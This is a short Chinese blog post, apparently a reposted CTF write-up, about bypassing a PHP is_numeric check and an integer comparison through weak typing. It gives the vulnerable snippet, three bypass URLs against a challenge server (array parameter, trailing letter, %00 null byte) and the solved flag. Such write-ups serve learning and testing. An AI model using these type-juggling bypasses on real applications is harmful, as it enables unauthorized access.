代码审计-弱类型整数大小比较绕过

Posted 2022-08-24 gaonuoqi

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了代码审计-弱类型整数大小比较绕过相关的知识，希望对你有一定的参考价值。

$temp = $_GET[‘password‘];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336)
echo $flag;

is_numeric

同样可以用数组绕过、%00截断、添加其他字符

http://123.206.87.240:9009/22.php?password[]=1

http://123.206.87.240:9009/22.php?password=9999a

http://123.206.87.240:9009/22.php?password=9999%00

flagbugku_null_numeric

以上是关于代码审计-弱类型整数大小比较绕过的主要内容，如果未能解决你的问题，请参考以下文章